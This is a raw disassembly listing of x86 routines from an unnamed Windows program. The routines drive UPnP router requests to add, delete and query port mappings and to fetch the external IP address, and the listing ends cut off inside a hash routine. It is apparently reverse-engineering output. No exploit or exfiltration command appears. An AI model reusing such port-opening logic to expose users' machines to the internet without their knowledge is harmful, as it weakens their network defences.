		mov	esi, [esp+4+arg_0]
		jmp	short loc_9B6414
; ---------------------------------------------------------------------------


loc_9B63F9:				; CODE XREF: sub_9B63F2+26j
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_9B6405
		mov	edx, [eax+4]
		mov	[ecx+4], edx


loc_9B6405:				; CODE XREF: sub_9B63F2+Bj
		mov	ecx, [eax+4]
		mov	edx, [eax]
		push	eax		; Memory
		mov	[ecx], edx
		call	free
		pop	ecx


loc_9B6414:				; CODE XREF: sub_9B63F2+5j
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_9B63F9
		pop	esi
		retn
sub_9B63F2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B641C(int,char *Str2)

sub_9B641C	proc near		; CODE XREF: sub_9B644D+6Ap
					; sub_9B644D+7Bp ...

arg_0		= dword	ptr  4
Str2		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		push	edi
		xor	edi, edi
		jmp	short loc_9B6444
; ---------------------------------------------------------------------------


loc_9B6428:				; CODE XREF: sub_9B641C+2Aj
		test	edi, edi
		jnz	short loc_9B6448
		push	[esp+8+Str2]	; Str2
		lea	eax, [esi+8]
		push	eax		; Str1
		call	strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B6442
		lea	edi, [esi+48h]


loc_9B6442:				; CODE XREF: sub_9B641C+21j
		mov	esi, [esi]


loc_9B6444:				; CODE XREF: sub_9B641C+Aj
		test	esi, esi
		jnz	short loc_9B6428


loc_9B6448:				; CODE XREF: sub_9B641C+Ej
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_9B641C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B644D(char *Str,int,char *Source,int,char *Dest)

sub_9B644D	proc near		; CODE XREF: sub_9B5D65+22p

var_1054	= dword	ptr -1054h
var_54		= dword	ptr -54h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Source		= dword	ptr  10h
arg_C		= dword	ptr  14h
Dest		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1054h
		call	__alloca_probe
		or	[ebp+var_4], 0FFFFFFFFh
		push	ebx
		push	esi
		mov	esi, [ebp+Source]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_C], 1000h
		jnz	short loc_9B647D
		cmp	[ebp+arg_C], ebx
		jnz	short loc_9B647D
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_9B6588
; ---------------------------------------------------------------------------


loc_9B647D:				; CODE XREF: sub_9B644D+21j
					; sub_9B644D+26j
		lea	eax, [ebp+var_C]
		push	eax		; int
		lea	eax, [ebp+var_1054]
		push	eax		; int
		push	ebx		; int
		push	offset aGetstatusinfo ;	"GetStatusInfo"
		push	[ebp+arg_4]	; int
		push	[ebp+Str]	; Str
		push	0FFFFFFFFh	; s
		call	sub_9B5E93
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_1054]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_54]
		push	offset aNewuptime ; "NewUptime"
		push	eax		; int
		call	sub_9B641C
		mov	[ebp+Src], eax
		lea	eax, [ebp+var_54]
		push	offset aNewconnections ; "NewConnectionStatus"
		push	eax		; int
		call	sub_9B641C
		mov	[ebp+Source], eax
		lea	eax, [ebp+var_54]
		push	offset aNewlastconnect ; "NewLastConnectionError"
		push	eax		; int
		call	sub_9B641C
		add	esp, 40h
		cmp	[ebp+Source], ebx
		mov	[ebp+var_10], eax
		jz	short loc_9B64F1
		cmp	[ebp+Src], ebx
		jz	short loc_9B64F1
		mov	[ebp+var_4], ebx


loc_9B64F1:				; CODE XREF: sub_9B644D+9Aj
					; sub_9B644D+9Fj
		cmp	esi, ebx
		push	edi
		mov	edi, strncpy
		jz	short loc_9B6513
		cmp	[ebp+Source], ebx
		jz	short loc_9B6511
		push	40h		; Count
		push	[ebp+Source]	; Source
		push	esi		; Dest
		call	edi ; strncpy
		add	esp, 0Ch
		mov	[esi+3Fh], bl
		jmp	short loc_9B6513
; ---------------------------------------------------------------------------


loc_9B6511:				; CODE XREF: sub_9B644D+B2j
		mov	[esi], bl


loc_9B6513:				; CODE XREF: sub_9B644D+ADj
					; sub_9B644D+C2j
		cmp	[ebp+arg_C], ebx
		jz	short loc_9B6531
		cmp	[ebp+Src], ebx
		jz	short loc_9B6531
		push	[ebp+arg_C]
		push	offset aU	; "%u"
		push	[ebp+Src]	; Src
		call	sscanf
		add	esp, 0Ch


loc_9B6531:				; CODE XREF: sub_9B644D+C9j
					; sub_9B644D+CEj
		mov	esi, [ebp+Dest]
		cmp	esi, ebx
		jz	short loc_9B654F
		cmp	[ebp+var_10], ebx
		jz	short loc_9B654D
		push	40h		; Count
		push	[ebp+var_10]	; Source
		push	esi		; Dest
		call	edi ; strncpy
		add	esp, 0Ch
		mov	[esi+3Fh], bl
		jmp	short loc_9B654F
; ---------------------------------------------------------------------------


loc_9B654D:				; CODE XREF: sub_9B644D+EEj
		mov	[esi], bl


loc_9B654F:				; CODE XREF: sub_9B644D+E9j
					; sub_9B644D+FEj
		lea	eax, [ebp+var_54]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		pop	edi
		jz	short loc_9B657B
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch


loc_9B657B:				; CODE XREF: sub_9B644D+115j
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_9B63F2
		mov	eax, [ebp+var_4]
		pop	ecx


loc_9B6588:				; CODE XREF: sub_9B644D+2Bj
		pop	esi
		pop	ebx
		leave
		retn
sub_9B644D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B658C(char *Str,int,char *Dest)

sub_9B658C	proc near		; CODE XREF: sub_9AA27B+5Fp

var_104C	= dword	ptr -104Ch
var_4C		= dword	ptr -4Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dest		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	__alloca_probe
		or	[ebp+var_4], 0FFFFFFFFh
		push	ebx
		push	esi
		mov	esi, [ebp+Dest]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_8], 1000h
		jz	loc_9B665C
		cmp	[ebp+Str], ebx
		jz	loc_9B665C
		cmp	[ebp+arg_4], ebx
		jz	loc_9B665C
		lea	eax, [ebp+var_8]
		push	eax		; int
		lea	eax, [ebp+var_104C]
		push	eax		; int
		push	ebx		; int
		push	offset aGetexternalipa ; "GetExternalIPAddress"
		push	[ebp+arg_4]	; int
		push	[ebp+Str]	; Str
		push	0FFFFFFFFh	; s
		call	sub_9B5E93
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_4C]
		push	offset aNewexternalipa ; "NewExternalIPAddress"
		push	eax		; int
		call	sub_9B641C
		add	esp, 30h
		cmp	eax, ebx
		jz	short loc_9B6620
		push	10h		; Count
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	[esi+0Fh], bl
		mov	[ebp+var_4], ebx
		jmp	short loc_9B6622
; ---------------------------------------------------------------------------


loc_9B6620:				; CODE XREF: sub_9B658C+7Dj
		mov	[esi], bl


loc_9B6622:				; CODE XREF: sub_9B658C+92j
		lea	eax, [ebp+var_4C]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B664D
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch


loc_9B664D:				; CODE XREF: sub_9B658C+A8j
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_9B63F2
		mov	eax, [ebp+var_4]
		pop	ecx
		jmp	short loc_9B665F
; ---------------------------------------------------------------------------


loc_9B665C:				; CODE XREF: sub_9B658C+21j
					; sub_9B658C+2Aj ...
		push	0FFFFFFFEh
		pop	eax


loc_9B665F:				; CODE XREF: sub_9B658C+CEj
		pop	esi
		pop	ebx
		leave
		retn
sub_9B658C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B6663(char *Str,int,int,int,int,int,int)

sub_9B6663	proc near		; CODE XREF: sub_9AA320+CFp

var_104C	= dword	ptr -104Ch
var_4C		= dword	ptr -4Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	__alloca_probe
		cmp	[ebp+arg_C], 0
		push	ebx
		push	edi
		mov	[ebp+var_8], 1000h
		jz	loc_9B6793
		cmp	[ebp+arg_10], 0
		jz	loc_9B6793
		mov	ebx, [ebp+arg_18]
		test	ebx, ebx
		jz	loc_9B6793
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jz	loc_9B6793
		push	esi
		push	8		; SizeOfElements
		push	9		; NumOfElements
		call	calloc
		mov	esi, eax
		mov	eax, [ebp+arg_C]
		mov	[esi+1Ch], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+24h], eax
		mov	eax, [ebp+arg_14]
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	dword ptr [esi], offset	aNewremotehost ; "NewRemoteHost"
		mov	dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
		mov	[esi+0Ch], edi
		mov	dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
		mov	[esi+14h], ebx
		mov	dword ptr [esi+18h], offset aNewinternalpor ; "NewInternalPort"
		mov	dword ptr [esi+20h], offset aNewinternalcli ; "NewInternalClient"
		mov	dword ptr [esi+28h], offset aNewenabled	; "NewEnabled"
		mov	dword ptr [esi+2Ch], offset a1 ; "1"
		mov	dword ptr [esi+30h], offset aNewportmapping ; "NewPortMappingDescription"
		jnz	short loc_9B6707
		mov	eax, offset WindowName ; "recv"


loc_9B6707:				; CODE XREF: sub_9B6663+9Dj
		mov	[esi+34h], eax
		lea	eax, [ebp+var_8]
		push	eax		; int
		lea	eax, [ebp+var_104C]
		push	eax		; int
		push	esi		; int
		push	offset aAddportmapping ; "AddPortMapping"
		push	[ebp+arg_4]	; int
		mov	dword ptr [esi+38h], offset aNewleasedurati ; "NewLeaseDuration"
		push	[ebp+Str]	; Str
		mov	dword ptr [esi+3Ch], offset PrefixString ; "ror"
		push	0FFFFFFFFh	; s
		call	sub_9B5E93
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_4C]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		add	esp, 30h
		test	eax, eax
		jz	short loc_9B6777
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch
		jmp	short loc_9B677B
; ---------------------------------------------------------------------------


loc_9B6777:				; CODE XREF: sub_9B6663+F9j
		and	[ebp+var_4], 0


loc_9B677B:				; CODE XREF: sub_9B6663+112j
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_9B63F2
		push	esi		; Memory
		call	free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	esi
		jmp	short loc_9B6796
; ---------------------------------------------------------------------------


loc_9B6793:				; CODE XREF: sub_9B6663+1Aj
					; sub_9B6663+24j ...
		push	0FFFFFFFEh
		pop	eax


loc_9B6796:				; CODE XREF: sub_9B6663+12Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_9B6663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B679A(char *Str,int,int,int)

sub_9B679A	proc near		; CODE XREF: sub_9AA18B+C6p

var_1048	= dword	ptr -1048h
var_48		= dword	ptr -48h
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 1048h
		call	__alloca_probe
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		push	edi
		mov	[ebp+var_4], 1000h
		jz	loc_9B6868
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	loc_9B6868
		push	esi
		push	8		; SizeOfElements
		push	4		; NumOfElements
		call	calloc
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax		; int
		lea	eax, [ebp+var_1048]
		push	eax		; int
		push	esi		; int
		push	offset aDeleteportmapp ; "DeletePortMapping"
		push	[ebp+arg_4]	; int
		mov	dword ptr [esi], offset	aNewremotehost ; "NewRemoteHost"
		push	[ebp+Str]	; Str
		mov	dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
		push	0FFFFFFFFh	; s
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
		mov	[esi+14h], edi
		call	sub_9B5E93
		lea	eax, [ebp+var_48]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_48]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		add	esp, 38h
		test	eax, eax
		jz	short loc_9B684C
		or	[ebp+arg_8], 0FFFFFFFFh
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch
		jmp	short loc_9B6850
; ---------------------------------------------------------------------------


loc_9B684C:				; CODE XREF: sub_9B679A+97j
		and	[ebp+arg_8], 0


loc_9B6850:				; CODE XREF: sub_9B679A+B0j
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_9B63F2
		push	esi		; Memory
		call	free
		mov	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		pop	esi
		jmp	short loc_9B686B
; ---------------------------------------------------------------------------


loc_9B6868:				; CODE XREF: sub_9B679A+1Bj
					; sub_9B679A+26j
		push	0FFFFFFFEh
		pop	eax


loc_9B686B:				; CODE XREF: sub_9B679A+CCj
		pop	edi
		pop	ebx
		leave
		retn
sub_9B679A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B686F(char *Str,int,void *Memory,int,int,int,int,int,int,char *Dest,int)

sub_9B686F	proc near		; CODE XREF: sub_9AA18B+81p

var_104C	= dword	ptr -104Ch
var_4C		= dword	ptr -4Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Memory		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
Dest		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	__alloca_probe
		or	[ebp+var_4], 0FFFFFFFFh
		push	ebx
		push	esi
		mov	esi, [ebp+Memory]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_8], 1000h
		jnz	short loc_9B689A
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_9B6A6C
; ---------------------------------------------------------------------------


loc_9B689A:				; CODE XREF: sub_9B686F+21j
		mov	eax, [ebp+arg_10]
		push	edi
		mov	[eax], bl
		mov	eax, [ebp+arg_14]
		push	8		; SizeOfElements
		push	2		; NumOfElements
		mov	[eax], bl
		call	calloc
		lea	ecx, [ebp+var_8]
		push	ecx		; int
		lea	ecx, [ebp+var_104C]
		push	ecx		; int
		push	eax		; int
		push	offset aGetgenericport ; "GetGenericPortMappingEntry"
		push	[ebp+arg_4]	; int
		mov	[ebp+Memory], eax
		push	[ebp+Str]	; Str
		mov	dword ptr [eax], offset	aNewportmappi_0	; "NewPortMappingIndex"
		push	0FFFFFFFFh	; s
		mov	[eax+4], esi
		call	sub_9B5E93
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_4C]
		push	offset aNewremotehost ;	"NewRemoteHost"
		push	eax		; int
		call	sub_9B641C
		mov	esi, strncpy
		add	esp, 38h
		cmp	eax, ebx
		jz	short loc_9B691A
		mov	edi, [ebp+Dest]
		cmp	edi, ebx
		jz	short loc_9B691A
		push	40h		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+3Fh], bl


loc_9B691A:				; CODE XREF: sub_9B686F+96j
					; sub_9B686F+9Dj
		lea	eax, [ebp+var_4C]
		push	offset aNewexternalpor ; "NewExternalPort"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B6944
		mov	edi, [ebp+arg_C]
		cmp	edi, ebx
		jz	short loc_9B6944
		push	6		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+5], bl
		mov	[ebp+var_4], ebx


loc_9B6944:				; CODE XREF: sub_9B686F+BDj
					; sub_9B686F+C4j
		lea	eax, [ebp+var_4C]
		push	offset aNewprotocol ; "NewProtocol"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B696B
		mov	edi, [ebp+arg_18]
		cmp	edi, ebx
		jz	short loc_9B696B
		push	4		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+3], bl


loc_9B696B:				; CODE XREF: sub_9B686F+E7j
					; sub_9B686F+EEj
		lea	eax, [ebp+var_4C]
		push	offset aNewinternalcli ; "NewInternalClient"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B6991
		mov	edi, [ebp+arg_10]
		push	10h		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+0Fh], bl
		mov	[ebp+var_4], ebx


loc_9B6991:				; CODE XREF: sub_9B686F+10Ej
		lea	eax, [ebp+var_4C]
		push	offset aNewinternalpor ; "NewInternalPort"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B69B4
		mov	edi, [ebp+arg_14]
		push	6		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+5], bl


loc_9B69B4:				; CODE XREF: sub_9B686F+134j
		lea	eax, [ebp+var_4C]
		push	offset aNewenabled ; "NewEnabled"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B69DB
		mov	edi, [ebp+arg_20]
		cmp	edi, ebx
		jz	short loc_9B69DB
		push	4		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+3], bl


loc_9B69DB:				; CODE XREF: sub_9B686F+157j
					; sub_9B686F+15Ej
		lea	eax, [ebp+var_4C]
		push	offset aNewportmapping ; "NewPortMappingDescription"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B6A02
		mov	edi, [ebp+arg_1C]
		cmp	edi, ebx
		jz	short loc_9B6A02
		push	50h		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+4Fh], bl


loc_9B6A02:				; CODE XREF: sub_9B686F+17Ej
					; sub_9B686F+185j
		lea	eax, [ebp+var_4C]
		push	offset aNewleasedurati ; "NewLeaseDuration"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_9B6A29
		mov	edi, [ebp+arg_28]
		cmp	edi, ebx
		jz	short loc_9B6A29
		push	10h		; Count
		push	eax		; Source
		push	edi		; Dest
		call	esi ; strncpy
		add	esp, 0Ch
		mov	[edi+0Fh], bl


loc_9B6A29:				; CODE XREF: sub_9B686F+1A5j
					; sub_9B686F+1ACj
		lea	eax, [ebp+var_4C]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		pop	edi
		jz	short loc_9B6A55
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch


loc_9B6A55:				; CODE XREF: sub_9B686F+1CDj
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_9B63F2
		push	[ebp+Memory]	; Memory
		call	free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_9B6A6C:				; CODE XREF: sub_9B686F+26j
		pop	esi
		pop	ebx
		leave
		retn
sub_9B686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B6A70(char *Str,int,int,int,char *Dest,int)

sub_9B6A70	proc near		; CODE XREF: sub_9AA320+F8p

var_104C	= dword	ptr -104Ch
var_4C		= dword	ptr -4Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Dest		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	__alloca_probe
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+arg_14], 0
		push	ebx
		push	edi
		mov	[ebp+var_8], 1000h
		jz	loc_9B6BB2
		cmp	[ebp+Dest], 0
		jz	loc_9B6BB2
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jz	loc_9B6BB2
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	loc_9B6BB2
		push	esi
		push	8		; SizeOfElements
		push	4		; NumOfElements
		call	calloc
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax		; int
		lea	eax, [ebp+var_104C]
		push	eax		; int
		push	esi		; int
		push	offset aGetspecificpor ; "GetSpecificPortMappingEntry"
		push	[ebp+arg_4]	; int
		mov	dword ptr [esi], offset	aNewremotehost ; "NewRemoteHost"
		push	[ebp+Str]	; Str
		mov	dword ptr [esi+8], offset aNewexternalpor ; "NewExternalPort"
		push	0FFFFFFFFh	; s
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+10h], offset aNewprotocol ; "NewProtocol"
		mov	[esi+14h], edi
		call	sub_9B5E93
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_9B63B6
		lea	eax, [ebp+var_4C]
		push	offset aNewinternalcli ; "NewInternalClient"
		push	eax		; int
		call	sub_9B641C
		mov	edi, strncpy
		add	esp, 38h
		test	eax, eax
		jz	short loc_9B6B3D
		mov	ebx, [ebp+Dest]
		push	10h		; Count
		push	eax		; Source
		push	ebx		; Dest
		call	edi ; strncpy
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	byte ptr [ebx+0Fh], 0
		jmp	short loc_9B6B43
; ---------------------------------------------------------------------------


loc_9B6B3D:				; CODE XREF: sub_9B6A70+B5j
		mov	eax, [ebp+Dest]
		mov	byte ptr [eax],	0


loc_9B6B43:				; CODE XREF: sub_9B6A70+CBj
		lea	eax, [ebp+var_4C]
		push	offset aNewinternalpor ; "NewInternalPort"
		push	eax		; int
		call	sub_9B641C
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9B6B69
		mov	ebx, [ebp+arg_14]
		push	6		; Count
		push	eax		; Source
		push	ebx		; Dest
		call	edi ; strncpy
		add	esp, 0Ch
		mov	byte ptr [ebx+5], 0
		jmp	short loc_9B6B6F
; ---------------------------------------------------------------------------


loc_9B6B69:				; CODE XREF: sub_9B6A70+E5j
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax],	0


loc_9B6B6F:				; CODE XREF: sub_9B6A70+F7j
		lea	eax, [ebp+var_4C]
		push	offset aErrorcode ; "errorCode"
		push	eax		; int
		call	sub_9B641C
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9B6B9A
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aD	; "%d"
		push	eax		; Src
		call	sscanf
		add	esp, 0Ch


loc_9B6B9A:				; CODE XREF: sub_9B6A70+111j
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_9B63F2
		push	esi		; Memory
		call	free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	esi
		jmp	short loc_9B6BB5
; ---------------------------------------------------------------------------


loc_9B6BB2:				; CODE XREF: sub_9B6A70+1Ej
					; sub_9B6A70+28j ...
		push	0FFFFFFFEh
		pop	eax


loc_9B6BB5:				; CODE XREF: sub_9B6A70+140j
		pop	edi
		pop	ebx
		leave
		retn
sub_9B6A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B6BB9(int,int,void *Dst)

sub_9B6BB9	proc near		; CODE XREF: sub_9AF464+3Ap
					; sub_9AF464+A7p

var_3C98	= dword	ptr -3C98h
Src		= byte ptr -3C90h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 3C98h
		call	__alloca_probe
		lea	eax, [ebp+var_3C98]
		push	200h		; int
		push	eax		; Dst
		call	sub_9B789E
		mov	eax, [ebp+arg_4]
		push	8
		pop	ecx
		mul	ecx
		push	edx
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3C98]
		push	eax
		call	sub_9B7B7B
		lea	eax, [ebp+var_3C98]
		push	0		; Dst
		push	eax		; int
		call	sub_9B7DEE
		push	40h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+Dst]	; Dst
		call	memcpy
		add	esp, 2Ch
		leave
		retn
sub_9B6BB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B6C14	proc near		; CODE XREF: sub_9B73CC+63p

var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	ecx, [ebp+arg_4]
		shl	ecx, 4
		test	ecx, ecx
		mov	[ebp+var_C], 89ABCDEFh
		mov	[ebp+var_8], 1234567h
		jle	locret_9B73CA
		mov	eax, [ebp+arg_0]
		add	eax, 1D0h
		dec	ecx
		push	ebx
		shr	ecx, 4
		inc	ecx
		push	esi
		mov	[ebp+var_4], ecx
		push	edi


loc_9B6C49:				; CODE XREF: sub_9B6C14+7ADj
		mov	edi, [eax+50h]
		mov	ebx, [eax+68h]
		mov	esi, [eax+54h]
		mov	edx, [eax-11Ch]
		and	edx, [eax+4]
		and	ebx, edi
		mov	ecx, [eax-120h]
		and	ecx, [eax]
		mov	edi, [eax+6Ch]
		xor	ecx, ebx
		xor	ecx, [eax-1D0h]
		and	edi, esi
		xor	edx, edi
		xor	edx, [eax-1CCh]
		mov	esi, [eax+70h]
		xor	edx, [eax+74h]
		xor	ecx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 0Ah
		xor	ecx, edi
		shr	ebx, 0Ah
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 0Bh
		xor	ebx, edx
		mov	edx, [eax-114h]
		and	edx, [eax+0Ch]
		shl	edi, 0Bh
		xor	edi, ecx
		mov	ecx, [eax-118h]
		and	ecx, [eax+8]
		mov	[eax+0FCh], ebx
		mov	ebx, [eax+58h]
		and	esi, ebx
		mov	ebx, [eax+74h]
		mov	[eax+0F8h], edi
		mov	edi, [eax+5Ch]
		and	ebx, edi
		xor	edx, ebx
		xor	edx, [eax-1C4h]
		xor	ecx, esi
		xor	ecx, [eax-1C8h]
		mov	esi, [eax+7Ch]
		xor	ecx, [eax+78h]
		xor	edx, esi
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_8]
		mov	edi, ecx
		mov	ebx, edx
		shrd	edi, ebx, 5
		xor	ecx, edi
		shr	ebx, 5
